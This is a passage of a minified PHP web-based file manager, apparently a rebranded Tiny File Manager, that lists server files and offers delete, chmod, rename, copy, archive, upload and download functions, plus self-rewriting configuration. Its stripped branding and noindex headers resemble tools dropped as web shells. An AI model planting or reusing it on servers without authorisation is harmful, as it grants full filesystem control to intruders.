                            <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo rf_enc(rf_PATH) ?>', '<?php echo rf_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('CopyTo') ?>..." href="?p=&amp;copy=<?php echo urlencode(trim(rf_PATH.'/'.$f,'/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink') ?>" href="<?php echo rf_enc(rf_ROOT_URL.(rf_PATH!=''?'/'.rf_PATH:'').'/'.$f.'/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
                    </td>
                </tr>
                <?php flush();$ii++;}$ik=6070;foreach($files as $f){$is_link=is_link($path.'/'.$f);$img=$is_link?'fa fa-file-text-o':rf_get_file_icon_class($path.'/'.$f);$modif_raw=filemtime($path.'/'.$f);$modif=date(rf_DATETIME_FORMAT,$modif_raw);$filesize_raw=rf_get_size($path.'/'.$f);$filesize=rf_get_filesize($filesize_raw);$filelink='?p='.urlencode(rf_PATH).'&amp;view='.urlencode($f);$all_files_size+=$filesize_raw;$perms=substr(decoct(fileperms($path.'/'.$f)),-4);if(function_exists('posix_getpwuid')&&function_exists('posix_getgrgid')){$owner=posix_getpwuid(fileowner($path.'/'.$f));$group=posix_getgrgid(filegroup($path.'/'.$f));}else{$owner=array('name'=>'?');$group=array('name'=>'?');} ?>
                <tr>
                    <?php if(!rf_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $ik  ?>" name="file[]" value="<?php echo rf_enc($f) ?>">
                            <label class="custom-control-label" for="<?php echo $ik  ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td>
                        <div class="filename"> 
                        <?php if(in_array(strtolower(pathinfo($f,PATHINFO_EXTENSION)),array('gif','jpg','jpeg','png','bmp','ico','svg'))): ?>
                                <?php $imagePreview=rf_enc(rf_ROOT_URL.(rf_PATH!=''?'/'.rf_PATH:'').'/'.$f); ?>
                                <a href="<?php echo $filelink  ?>" data-preview-image="<?php echo $imagePreview  ?>" title="<?php echo $f  ?>">
                           <?php else: ?>
                                <a href="<?php echo $filelink  ?>" title="<?php echo $f  ?>">
                            <?php endif; ?>
                                    <i class="<?php echo $img  ?>"></i> <?php echo rf_convert_win($f) ?>
                                </a>
                                <?php echo($is_link?' &rarr; <i>'.readlink($path.'/'.$f).'</i>':'') ?>
                        </div>
                    </td>
                    <td data-sort=b-"<?php echo str_pad($filesize_raw,18,"0",STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes',$filesize_raw) ?>">
                        <?php echo $filesize; ?>
                        </span></td>
                    <td data-sort="b-<?php echo $modif_raw; ?>"><?php echo $modif  ?></td>
                    <?php if(!rf_IS_WIN&&!$hide_cols): ?>
                        <td><?php if(!rf_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(rf_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms  ?></a><?php else: ?><?php echo $perms  ?><?php endif; ?>
                        </td>
                        <td><?php echo rf_enc($owner['name'].':'.$group['name']) ?></td>
                    <?php endif; ?>
                    <td class="inline-actions">
                        <a title="<?php echo lng('Preview') ?>" href="<?php echo $filelink.'&quickView=1'; ?>" data-toggle="lightbox" data-gallery="tiny-gallery" data-title="<?php echo rf_convert_win($f) ?>" data-max-width="100%" data-width="100%"><i class="fa fa-eye"></i></a>
                        <?php if(!rf_READONLY): ?>
                            <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(rf_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="return confirm('<?php echo lng('Delete').' '.lng('File').'?'; ?>\n \n ( <?php echo urlencode($f) ?> )');"> <i class="fa fa-trash-o"></i></a>
                            <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo rf_enc(rf_PATH) ?>', '<?php echo rf_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
                            <a title="<?php echo lng('CopyTo') ?>..."
                               href="?p=<?php echo urlencode(rf_PATH) ?>&amp;copy=<?php echo urlencode(trim(rf_PATH.'/'.$f,'/')) ?>"><i class="fa fa-files-o"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink') ?>" href="<?php echo rf_enc(rf_ROOT_URL.(rf_PATH!=''?'/'.rf_PATH:'').'/'.$f) ?>" target="_blank"><i class="fa fa-link"></i></a>
                        <a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(rf_PATH) ?>&amp;dl=<?php echo urlencode($f) ?>"><i class="fa fa-download"></i></a>
                    </td>
                </tr>
                <?php flush();$ik++;}if(empty($folders)&&empty($files)){ ?>
                <tfoot>
                    <tr><?php if(!rf_READONLY): ?>
                            <td></td><?php endif; ?>
                        <td colspan="<?php echo(!rf_IS_WIN&&!$hide_cols)?'6':'4' ?>"><em><?php echo 'Folder is empty' ?></em></td>
                    </tr>
                </tfoot>
                <?php }else{ ?>
                <tfoot>
                    <tr>
                        <td class="gray" colspan="<?php echo(!rf_IS_WIN&&!$hide_cols)?'7':'5' ?>">
                        <center>
                        <?php echo '<span style="font-size: 14px" class="badge badge-dark"><i style="color: #ccc" class="fa fa-info-circle">&nbsp;</i>'.lng('FullSize').': '.rf_get_filesize($all_files_size).'</span>' ?>
                            <?php echo '<span style="font-size: 14px" class="badge badge-dark"><i style="color: #ccc" class="fa fa-file-text">&nbsp;</i>'.lng('File').': '.$num_files.'</span>' ?>
                            <?php echo '<span style="font-size: 14px" class="badge badge-dark"><i style="color: #ccc" class="fa fa-folder">&nbsp;</i>'.lng('Folder').': '.$num_folders.'</span>' ?>
                            <?php echo '<span style="font-size: 14px" class="badge badge-dark"><i style="color: #ccc"class="fa fa-server">&nbsp;</i>'.lng('MemoryUsed').': '.rf_get_filesize(@memory_get_usage(true)).'</span>' ?>
                            <?php echo '<span style="font-size: 14px" class="badge badge-dark"><i style="color: #ccc" class="fa fa-pie-chart">&nbsp;</i>'.lng('PartitionSize').': '.rf_get_filesize(@disk_free_space($path)).' '.lng('FreeOf').' '.rf_get_filesize(@disk_total_space($path)).'</span>'; ?>
                        </center>
                        </td>
                    </tr>
                </tfoot>
                <?php } ?>
        </table>
    </div>

    <?php if(!rf_READONLY&&($num_files!=0||$num_folders!=0)): ?>
    <div style="margin-top: 4px">
        <center>
            <ul style="margin: 0" class="list-inline footer-action">
                <li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('Delete selected files and folders?')">
                    <a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('Create archive?')">
                    <a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('Create archive?')">
                    <a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
                    <a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li>
            </ul>
        </center>
        </div>
    <?php endif; ?>

    <center><div style="font-size: 12px;margin: 6px 0"><a href="#" target="_blank" class="text-muted">File  <?php echo VERSION; ?></a></div></center>
</form>

<?php rf_show_footer();function rf_is_file_allowed($filename){$allowed=false;if(rf_EXTENSION){$ext=strtolower(pathinfo($filename,PATHINFO_EXTENSION));if(in_array($ext,explode(',',strtolower(rf_EXTENSION)))){$allowed=true;}}return $allowed;}function rf_rdelete($path){if(is_link($path)){return unlink($path);}elseif(is_dir($path)){$objects=scandir($path);$ok=true;if(is_array($objects)){foreach($objects as $file){if($file!='.'&&$file!='..'){if(!rf_rdelete($path.'/'.$file)){$ok=false;}}}}return($ok)?rmdir($path):false;}elseif(is_file($path)){return unlink($path);}return false;}function rf_rchmod($path,$filemode,$dirmode){if(is_dir($path)){if(!chmod($path,$dirmode)){return false;}$objects=scandir($path);if(is_array($objects)){foreach($objects as $file){if($file!='.'&&$file!='..'){if(!rf_rchmod($path.'/'.$file,$filemode,$dirmode)){return false;}}}}return true;}elseif(is_link($path)){return true;}elseif(is_file($path)){return chmod($path,$filemode);}return false;}function rf_is_valid_ext($filename){$allowed=(rf_FILE_EXTENSION)?explode(',',rf_FILE_EXTENSION):false;$ext=pathinfo($filename,PATHINFO_EXTENSION);$isFileAllowed=($allowed)?in_array($ext,$allowed):true;return($isFileAllowed)?true:false;}function rf_rename($old,$new){$isFileAllowed=rf_is_valid_ext($new);if(!$isFileAllowed)return false;return(!file_exists($new)&&file_exists($old))?rename($old,$new):null;}function rf_rcopy($path,$dest,$upd=true,$force=true){if(is_dir($path)){if(!rf_mkdir($dest,$force)){return false;}$objects=scandir($path);$ok=true;if(is_array($objects)){foreach($objects as $file){if($file!='.'&&$file!='..'){if(!rf_rcopy($path.'/'.$file,$dest.'/'.$file)){$ok=false;}}}}return $ok;}elseif(is_file($path)){return rf_copy($path,$dest,$upd);}return false;}function rf_mkdir($dir,$force){if(file_exists($dir)){if(is_dir($dir)){return $dir;}elseif(!$force){return false;}unlink($dir);}return mkdir($dir,0777,true);}function rf_copy($f1,$f2,$upd){$time1=filemtime($f1);if(file_exists($f2)){$time2=filemtime($f2);if($time2>=$time1&&$upd){return false;}}$ok=copy($f1,$f2);if($ok){touch($f2,$time1);}return $ok;}function rf_get_mime_type($file_path){if(function_exists('finfo_open')){$finfo=finfo_open(FILEINFO_MIME_TYPE);$mime=finfo_file($finfo,$file_path);finfo_close($finfo);return $mime;}elseif(function_exists('mime_content_type')){return mime_content_type($file_path);}else{return '--';}}function rf_redirect($url,$code=302){header('Location: '.$url,true,$code);exit;}function get_absolute_path($path){$path=str_replace(array('/','\\'),DIRECTORY_SEPARATOR,$path);$parts=array_filter(explode(DIRECTORY_SEPARATOR,$path),'strlen');$absolutes=array();foreach($parts as $part){if('.'==$part)continue;if('..'==$part){array_pop($absolutes);}else{$absolutes[]=$part;}}return implode(DIRECTORY_SEPARATOR,$absolutes);}function rf_clean_path($path,$trim=true){$path=$trim?trim($path):$path;$path=trim($path,'\\/');$path=str_replace(array('../','..\\'),'',$path);$path=get_absolute_path($path);if($path=='..'){$path='';}return str_replace('\\','/',$path);}function rf_get_parent_path($path){$path=rf_clean_path($path);if($path!=''){$array=explode('/',$path);if(count($array)>1){$array=array_slice($array,0,-1);return implode('/',$array);}return '';}return false;}function rf_is_exclude_items($file){$ext=strtolower(pathinfo($file,PATHINFO_EXTENSION));if(!in_array($file,rf_EXCLUDE_ITEMS)&&!in_array("*.$ext",rf_EXCLUDE_ITEMS)){return true;}return false;}function rf_get_translations($tr){try{$content=@file_get_contents('translation.json');if($content!==FALSE){$lng=json_decode($content,TRUE);global $lang_list;foreach($lng["language"]as $key=>$value){$code=$value["code"];$lang_list[$code]=$value["name"];if($tr)$tr[$code]=$value["translation"];}return $tr;}}catch(Exception $e){echo $e;}}function rf_get_size($file){return filesize($file);}function rf_get_filesize($size){$size=(float) $size;$units=array('B','KB','MB','GB','TB','PB','EB','ZB','YB');$power=$size>0?floor(log($size,1024)):0;return sprintf('%s %s',round($size/pow(1024,$power),2),$units[$power]);}function rf_get_directorysize($directory){global $calc_folder;if($calc_folder==true){$size=0;$count=0;$dirCount=0;foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory))as $file)if($file->isFile()){$size+=$file->getSize();$count++;}else if($file->isDir()){$dirCount++;}return $size;}else return 'Folder';}function rf_get_zif_info($path,$ext){if($ext=='zip'&&function_exists('zip_open')){$arch=zip_open($path);if($arch){$filenames=array();while($zip_entry=zip_read($arch)){$zip_name=zip_entry_name($zip_entry);$zip_folder=substr($zip_name,-1)=='/';$filenames[]=array('name'=>$zip_name,'filesize'=>zip_entry_filesize($zip_entry),'compressed_size'=>zip_entry_compressedsize($zip_entry),'folder'=>$zip_folder );}zip_close($arch);return $filenames;}}elseif($ext=='tar'&&class_exists('PharData')){$archive=new PharData($path);$filenames=array();foreach(new RecursiveIteratorIterator($archive)as $file){$parent_info=$file->getPathInfo();$zip_name=str_replace("phar://".$path,'',$file->getPathName());$zip_name=substr($zip_name,($pos=strpos($zip_name,'/'))!==false?$pos+1:0);$zip_folder=$parent_info->getFileName();$zip_info=new SplFileInfo($file);$filenames[]=array('name'=>$zip_name,'filesize'=>$zip_info->getSize(),'compressed_size'=>$file->getCompressedSize(),'folder'=>$zip_folder);}return $filenames;}return false;}function rf_enc($text){return htmlspecialchars($text,ENT_QUOTES,'UTF-8');}function rf_isvalid_filename($text){return(strpbrk($text,'/?%*:|"<>')===FALSE)?true:false;}function rf_set_msg($msg,$status='ok'){$_SESSION[rf_SESSION_ID]['message']=$msg;$_SESSION[rf_SESSION_ID]['status']=$status;}function rf_is_utf8($string){return preg_match('//u',$string);}function rf_convert_win($filename){if(rf_IS_WIN&&function_exists('iconv')){$filename=iconv(rf_ICONV_INPUT_ENC,'UTF-8//IGNORE',$filename);}return $filename;}function rf_object_to_array($obj){if(!is_object($obj)&&!is_array($obj)){return $obj;}if(is_object($obj)){$obj=get_object_vars($obj);}return array_map('rf_object_to_array',$obj);}function rf_get_file_icon_class($path){$ext=strtolower(pathinfo($path,PATHINFO_EXTENSION));switch($ext){case 'ico':case 'gif':case 'jpg':case 'jpeg':case 'jpc':case 'jp2':case 'jpx':case 'xbm':case 'wbmp':case 'png':case 'bmp':case 'tif':case 'tiff':case 'svg':$img='fa fa-picture-o';break;case 'passwd':case 'ftpquota':case 'sql':case 'js':case 'json':case 'sh':case 'config':case 'twig':case 'tpl':case 'md':case 'gitignore':case 'c':case 'cpp':case 'cs':case 'py':case 'map':case 'lock':case 'dtd':$img='fa fa-code';break;case 'txt':case 'ini':case 'conf':case 'log':case 'htaccess':$img='fa fa-file-text-o';break;case 'css':case 'less':case 'sass':case 'scss':$img='fa fa-css3';break;case 'zip':case 'rar':case 'gz':case 'tar':case '7z':$img='fa fa-file-archive-o';break;case 'php':case 'php4':case 'php5':case 'phps':case 'phtml':$img='fa fa-file-code-o';break;case 'htm':case 'html':case 'shtml':case 'xhtml':$img='fa fa-html5';break;case 'xml':case 'xsl':$img='fa fa-file-excel-o';break;case 'wav':case 'mp3':case 'mp2':case 'm4a':case 'aac':case 'ogg':case 'oga':case 'wma':case 'mka':case 'flac':case 'ac3':case 'tds':$img='fa fa-music';break;case 'm3u':case 'm3u8':case 'pls':case 'cue':$img='fa fa-headphones';break;case 'avi':case 'mpg':case 'mpeg':case 'mp4':case 'm4v':case 'flv':case 'f4v':case 'ogm':case 'ogv':case 'mov':case 'mkv':case '3gp':case 'asf':case 'wmv':$img='fa fa-file-video-o';break;case 'eml':case 'msg':$img='fa fa-envelope-o';break;case 'xls':case 'xlsx':case 'ods':$img='fa fa-file-excel-o';break;case 'csv':$img='fa fa-file-text-o';break;case 'bak':$img='fa fa-clipboard';break;case 'doc':case 'docx':case 'odt':$img='fa fa-file-word-o';break;case 'ppt':case 'pptx':$img='fa fa-file-powerpoint-o';break;case 'ttf':case 'ttc':case 'otf':case 'woff':case 'woff2':case 'eot':case 'fon':$img='fa fa-font';break;case 'pdf':$img='fa fa-file-pdf-o';break;case 'psd':case 'ai':case 'eps':case 'fla':case 'swf':$img='fa fa-file-image-o';break;case 'exe':case 'msi':$img='fa fa-file-o';break;case 'bat':$img='fa fa-terminal';break;default:$img='fa fa-info-circle';}return $img;}function rf_get_image_exts(){return array('ico','gif','jpg','jpeg','jpc','jp2','jpx','xbm','wbmp','png','bmp','tif','tiff','psd','svg');}function rf_get_video_exts(){return array('avi','webm','wmv','mp4','m4v','ogm','ogv','mov','mkv');}function rf_get_audio_exts(){return array('wav','mp3','ogg','m4a');}function rf_get_text_exts(){return array('txt','css','ini','conf','log','htaccess','passwd','ftpquota','sql','js','json','sh','config','php','php4','php5','phps','phtml','htm','html','shtml','xhtml','xml','xsl','m3u','m3u8','pls','cue','eml','msg','csv','bat','twig','tpl','md','gitignore','less','sass','scss','c','cpp','cs','py','map','lock','dtd','svg','scss','asp','aspx','asx','asmx','ashx','jsx','jsp','jspx','cfm','cgi');}function rf_get_text_mimes(){return array('application/xml','application/javascript','application/x-javascript','image/svg+xml','message/rfc822',);}function rf_get_text_names(){return array('license','readme','authors','contributors','changelog',);}function rf_get_onlineViewer_exts(){return array('doc','docx','xls','xlsx','pdf','ppt','pptx','ai','psd','dxf','xps','rar','odt','ods');}function rf_get_file_mimes($extension){$fileTypes['swf']='application/x-shockwave-flash';$fileTypes['pdf']='application/pdf';$fileTypes['exe']='application/octet-stream';$fileTypes['zip']='application/zip';$fileTypes['doc']='application/msword';$fileTypes['xls']='application/vnd.ms-excel';$fileTypes['ppt']='application/vnd.ms-powerpoint';$fileTypes['gif']='image/gif';$fileTypes['png']='image/png';$fileTypes['jpeg']='image/jpg';$fileTypes['jpg']='image/jpg';$fileTypes['rar']='application/rar';$fileTypes['ra']='audio/x-pn-realaudio';$fileTypes['ram']='audio/x-pn-realaudio';$fileTypes['ogg']='audio/x-pn-realaudio';$fileTypes['wav']='video/x-msvideo';$fileTypes['wmv']='video/x-msvideo';$fileTypes['avi']='video/x-msvideo';$fileTypes['asf']='video/x-msvideo';$fileTypes['divx']='video/x-msvideo';$fileTypes['mp3']='audio/mpeg';$fileTypes['mp4']='audio/mpeg';$fileTypes['mpeg']='video/mpeg';$fileTypes['mpg']='video/mpeg';$fileTypes['mpe']='video/mpeg';$fileTypes['mov']='video/quicktime';$fileTypes['swf']='video/quicktime';$fileTypes['3gp']='video/quicktime';$fileTypes['m4a']='video/quicktime';$fileTypes['aac']='video/quicktime';$fileTypes['m3u']='video/quicktime';$fileTypes['php']=['application/x-php'];$fileTypes['html']=['text/html'];$fileTypes['txt']=['text/plain'];return $fileTypes[$extension];}function scan($dir,$filter=''){$path=rf_ROOT_PATH.'/'.$dir;if($dir){$ite=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));$rii=new RegexIterator($ite,"/(".$filter.")/i");$files=array();foreach($rii as $file){if(!$file->isDir()){$fileName=$file->getFilename();$location=str_replace(rf_ROOT_PATH,'',$file->getPath());$files[]=array("name"=>$fileName,"type"=>"file","path"=>$location,);}}return $files;}}function rf_download_file($fileLocation,$fileName,$chunkSize=1024){if(connection_status()!=0)return(false);$extension=pathinfo($fileName,PATHINFO_EXTENSION);$contentType=rf_get_file_mimes($extension);header("Cache-Control: public");header("Content-Transfer-Encoding: binary\n");header('Content-Type: $contentType');$contentDisposition='attachment';if(strstr($_SERVER['HTTP_USER_AGENT'],"MSIE")){$fileName=preg_replace('/\./','%2e',$fileName,substr_count($fileName,'.')-1);header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");}else{header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");}header("Accept-Ranges: bytes");$range=0;$size=filesize($fileLocation);if(isset($_SERVER['HTTP_RANGE'])){list($a,$range)=explode("=",$_SERVER['HTTP_RANGE']);str_replace($range,"-",$range);$size2=$size-1;$new_length=$size-$range;header("HTTP/1.1 206 Partial Content");header("Content-Length: $new_length");header("Content-Range: bytes $range$size2/$size");}else{$size2=$size-1;header("Content-Range: bytes 0-$size2/$size");header("Content-Length: ".$size);}if($size==0){die('Zero byte file! Aborting download');}@ini_set('magic_quotes_runtime',0);$fp=fopen("$fileLocation","rb");fseek($fp,$range);while(!feof($fp)and(connection_status()==0)){set_time_limit(0);print(@fread($fp,1024*$chunkSize));flush();ob_flush();sleep(1);}fclose($fp);return((connection_status()==0)and!connection_aborted());}function rf_get_theme(){$result='';if(rf_THEME=="dark"){$result="text-white bg-dark";}return $result;}class rf_Zipper{private $zip;public function __construct(){$this->zip=new ZipArchive();}public function create($filename,$files){$res=$this->zip->open($filename,ZipArchive::CREATE);if($res!==true){return false;}if(is_array($files)){foreach($files as $f){if(!$this->addFileOrDir($f)){$this->zip->close();return false;}}$this->zip->close();return true;}else{if($this->addFileOrDir($files)){$this->zip->close();return true;}return false;}}public function unzip($filename,$path){$res=$this->zip->open($filename);if($res!==true){return false;}if($this->zip->extractTo($path)){$this->zip->close();return true;}return false;}private function addFileOrDir($filename){if(is_file($filename)){return $this->zip->addFile($filename);}elseif(is_dir($filename)){return $this->addDir($filename);}return false;}private function addDir($path){if(!$this->zip->addEmptyDir($path)){return false;}$objects=scandir($path);if(is_array($objects)){foreach($objects as $file){if($file!='.'&&$file!='..'){if(is_dir($path.'/'.$file)){if(!$this->addDir($path.'/'.$file)){return false;}}elseif(is_file($path.'/'.$file)){if(!$this->zip->addFile($path.'/'.$file)){return false;}}}}return true;}return false;}}class rf_Zipper_Tar{private $tar;public function __construct(){$this->tar=null;}public function create($filename,$files){$this->tar=new PharData($filename);if(is_array($files)){foreach($files as $f){if(!$this->addFileOrDir($f)){return false;}}return true;}else{if($this->addFileOrDir($files)){return true;}return false;}}public function unzip($filename,$path){$res=$this->tar->open($filename);if($res!==true){return false;}if($this->tar->extractTo($path)){return true;}return false;}private function addFileOrDir($filename){if(is_file($filename)){try{$this->tar->addFile($filename);return true;}catch(Exception $e){return false;}}elseif(is_dir($filename)){return $this->addDir($filename);}return false;}private function addDir($path){$objects=scandir($path);if(is_array($objects)){foreach($objects as $file){if($file!='.'&&$file!='..'){if(is_dir($path.'/'.$file)){if(!$this->addDir($path.'/'.$file)){return false;}}elseif(is_file($path.'/'.$file)){try{$this->tar->addFile($path.'/'.$file);}catch(Exception $e){return false;}}}}return true;}return false;}}class rf_Config{var $data;function __construct(){global $root_path,$root_url,$CONFIG;$rf_url=$root_url.$_SERVER["PHP_SELF"];$this->data=array('lang'=>'en','error_reporting'=>true,'show_hidden'=>true);$data=false;if(strlen($CONFIG)){$data=rf_object_to_array(json_decode($CONFIG));}else{$msg='File <br>Error: Cannot load configuration';if(substr($rf_url,-1)=='/'){$rf_url=rtrim($rf_url,'/');$msg.='<br>';$msg.='<br>Seems like you have a trailing slash on the URL.';$msg.='<br>Try this link: <a href="'.$rf_url.'">'.$rf_url.'</a>';}die($msg);}if(is_array($data)&&count($data))$this->data=$data;else $this->save();}function save(){$rf_file=__FILE__;$var_name='$CONFIG';$var_value=var_export(json_encode($this->data),true);$config_string="<?php".chr(13).chr(10)."//Default Configuration".chr(13).chr(10)."$var_name = $var_value;".chr(13).chr(10);if(is_writable($rf_file)){$lines=file($rf_file);if($fh=@fopen($rf_file,"w")){@fputs($fh,$config_string,strlen($config_string));for($x=3;$x<count($lines);$x++){@fputs($fh,$lines[$x],strlen($lines[$x]));}@fclose($fh);}}}}function rf_show_nav_path($path){global $lang,$sticky_navbar;$isStickyNavBar=$sticky_navbar?'fixed-top':'';$getTheme=rf_get_theme();$getTheme.=" navbar-light";if(rf_THEME=="dark"){$getTheme.=" navbar-dark";}else{$getTheme.=" bg-white";} ?>
    <nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar  ?>">
        <a class="navbar-brand" href=""> <?php echo lng('AppTitle') ?> </a>
        <button style="padding: 2px 6px" class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
            <span class="navbar-toggler-icon"></span>
        </button>
        <div class="collapse navbar-collapse" id="navbarSupportedContent">

            <?php $path=rf_clean_path($path);$root_url="<a href='?p='><i class='fa fa-home' aria-hidden='true' title='".rf_ROOT_PATH."'></i></a>";$sep='<i class="bread-crumb"> / </i>';if($path!=''){$exploded=explode('/',$path);$count=count($exploded);$array=array();$parent='';for($i=0;$i<$count;$i++){$parent=trim($parent.'/'.$exploded[$i],'/');$parent_enc=urlencode($parent);$array[]="<a href='?p={$parent_enc}'>".rf_enc(rf_convert_win($exploded[$i]))."</a>";}$root_url.=$sep.implode($sep,$array);}echo '<div class="col-xs-6 col-sm-5">'.$root_url.'</div>'; ?>

            <div style="padding: 0" class="col-xs-6 col-sm-7 text-right">
                <ul class="navbar-nav mr-auto float-right <?php echo rf_get_theme(); ?>">
                    <li class="nav-item">
                    <div class="input-group input-group-sm" style="margin: 4px 0;">
                            <input style= "padding: 14px 8px" type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
                            <div class="input-group-append">
                                <span class="input-group-text" id="search-addon2"><i class="fa fa-search"></i></span>
                            </div>
                            <div class="input-group-append btn-group">
                            <span style= "padding: 0 6px" class="input-group-text dropdown-toggle" id="search-addon2" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
                                <div style="margin: 0; padding: 0" class="dropdown-menu dropdown-menu-right">
                                    <small><a class="dropdown-item" href="<?php echo $path2=$path?$path:'.'; ?>" id="js-search-modal" data-toggle="modal" data-target="#searchModal"><i style="font-size: 14px" class="fa fa-search-plus">&nbsp;</i>Advanced Search</a></small>
                                </div>
                            </div>
                        </div>
                    </li>
                    <?php if(!rf_READONLY): ?>
                    <li class="nav-item">
                        <a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(rf_PATH) ?>&amp;upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
                    </li>
                    <li class="nav-item">
                        <a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-toggle="modal" data-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
                    </li>
                    <?php endif; ?>
                    <?php if(rf_USE_AUTH): ?>
                    <li class="nav-item avatar dropdown">
                        <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[rf_SESSION_ID]['logged'])){echo $_SESSION[rf_SESSION_ID]['logged'];} ?></a>
                        <div style="margin-bottom: 8px; padding: 0 8px" class="dropdown-menu dropdown-menu-right <?php echo rf_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5">
                            <?php if(!rf_READONLY): ?>
                            <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(rf_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            <?php endif  ?>
                            <a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(rf_PATH) ?>&amp;help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
                            <a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
                        </div>
                    </li>
                    <?php else: ?>
                        <?php if(!rf_READONLY): ?>
                            <li class="nav-item">
                                <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(rf_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            </li>
                        <?php endif; ?>
                    <?php endif; ?>
                </ul>
            </div>
        </div>
    </nav>
    <?php }function rf_show_message(){if(isset($_SESSION[rf_SESSION_ID]['message'])){$class=isset($_SESSION[rf_SESSION_ID]['status'])?$_SESSION[rf_SESSION_ID]['status']:'ok';echo '<p class="message '.$class.'">'.$_SESSION[rf_SESSION_ID]['message'].'</p>';unset($_SESSION[rf_SESSION_ID]['message']);unset($_SESSION[rf_SESSION_ID]['status']);}}function rf_show_header_login(){$sprites_ver='20160315';header("Content-Type: text/html; charset=utf-8");header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");header("Pragma: no-cache");global $lang,$root_url,$favicon_path; ?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <link rel="icon" href="<?php echo rf_enc($favicon_path) ?>" type="image/png">
    <title><?php echo rf_enc(APP_TITLE) ?></title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css">
    <style>
